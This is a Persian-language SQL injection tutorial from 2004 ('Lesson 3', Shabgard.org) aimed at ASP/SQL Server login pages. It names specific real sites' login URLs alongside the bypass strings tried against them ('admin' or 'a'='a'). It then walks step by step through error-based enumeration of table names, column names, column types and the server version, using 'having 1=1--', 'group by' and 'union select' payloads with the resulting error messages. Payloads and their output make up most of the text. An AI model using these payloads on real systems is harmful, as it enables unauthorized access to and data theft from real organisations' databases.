SQL Injection (Lesson 3)
(Using SQL Server)

فقط خواهش می کنم حالا که قراره با مثال جلو بریم به هیچ عنوان از اطلاعات سایتهای هدف سو ء استفاده نکنید و یجوری باشه که منم تحت فشار نباشم و این مثالها ادامه داشته باشه.

مثالهایی از درس 2:

http://www.sci-bridge.com/shop/admin/login.asp

- Login: '
- Pass:

The page cannot be displayed

- Login: admin' or 'a'='a
- Pass: admin' or 'a'='a

http://www.rcii-ir.org/PSITE/member/login.asp

- Login: '
- Pass:

Microsoft JET Database Engine error '80040e14'

Syntax error in string in query expression 'username='"AND password='".

/PSITE/member/login.asp, line 35

- Login: 'or'a'='a
- Pass: 'or'a'='a

http://engineering.ripi.ir/admin/login.asp

- Login: '
- Pass:

The page cannot be displayed

- Login: ' or "='
- Pass: ' or "='

فرض کنید مرحله قبل جواب نداد یا هدف Login Page نبود.
خوب در این صورت باید به بررسی ساختمان Database بپردازیم و تا حد امکان اطلاعات مورد نیاز رو استخراج کنیم
مثلا Table names , column names , column types , version number of server

با داشتن این اطلاعات ما میتونیم تقریبا همه کار بکنیم.اما این اطلاعات را از کجا و چگونه استخراج کنیم.

استخراج بعضی از این اطلاعات موضوع درس امروزه که البته برای این کار راههای زیادی وجود داره که سعی می کنم بهترین هاش رو مطرح کنم.

باید دقت کنید که اطلاعات مورد نظر در Error های برگشتی قرار داره.

getting table names

برای بدست آوردن **table names** مطابق نمونه زیر عمل می کنیم(فرض می کنیم هدف ما یه Login Page است)

- Login: ' having 1=1--
- Pass: a

و نتیجه زیر حاصل می شود:

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.username' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP
BY clause.

خوب اگه یکم دقت کنید چیزهای جالبی می بینید (**s_table.id**) بله به همین راحتی!

s_table = **the table name**
username = **the first column name**

ما الان هم اسم جدول رو میدونیم و هم اسم اولین ستون رو.برای پیدا کردن اسم بقیه ستونها بشکل زیر عمل می کنیم:

getting column names

- Login: ' group by s_table.username having 1=1--
- Pass: a

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.password' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.

خوب ما الان اسم ستون دوم رو هم پیدا کردیم.

- Login: ' group by s_table.username,s_table.password having 1=1--

- Pass: a

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.Active' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.

- Login: ' group by s_table.username,s_table.password,s_table.Active having 1=1--

- Pass: a

مطابق مثال بالا این کار رو تکرار می کنیم تا اسم تمامی ستونها رو پیدا کنیم.

البته راههای دیگری هم برای پیدا کردن column names,Table names وجود داره که در درسهای بعد به آن خواهیم پرداخت.

getting column types

- Login: ' union select sum(username) from s_table--
- Pass: a

با توجه به Error تولید شده به نوع ستونها پی می بریم.

non-numerical: The sum or average aggregate operation cannot take a varchar data type as an argument.
numerical: All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists

getting the version number of server

- Login: ' union select @@version,1,1,1--
- Pass: a

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 20:37:43 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

به همین ترتیب اطلاعات دیگری رو هم میشه بدست آورد که در درسهای آینده در قالب مثال بیان می کنم.

Author: Mouse@Shabgard.org

Copyright © 2004 Shabgard.org. All rights reserved.
http://isun.Shabgard.org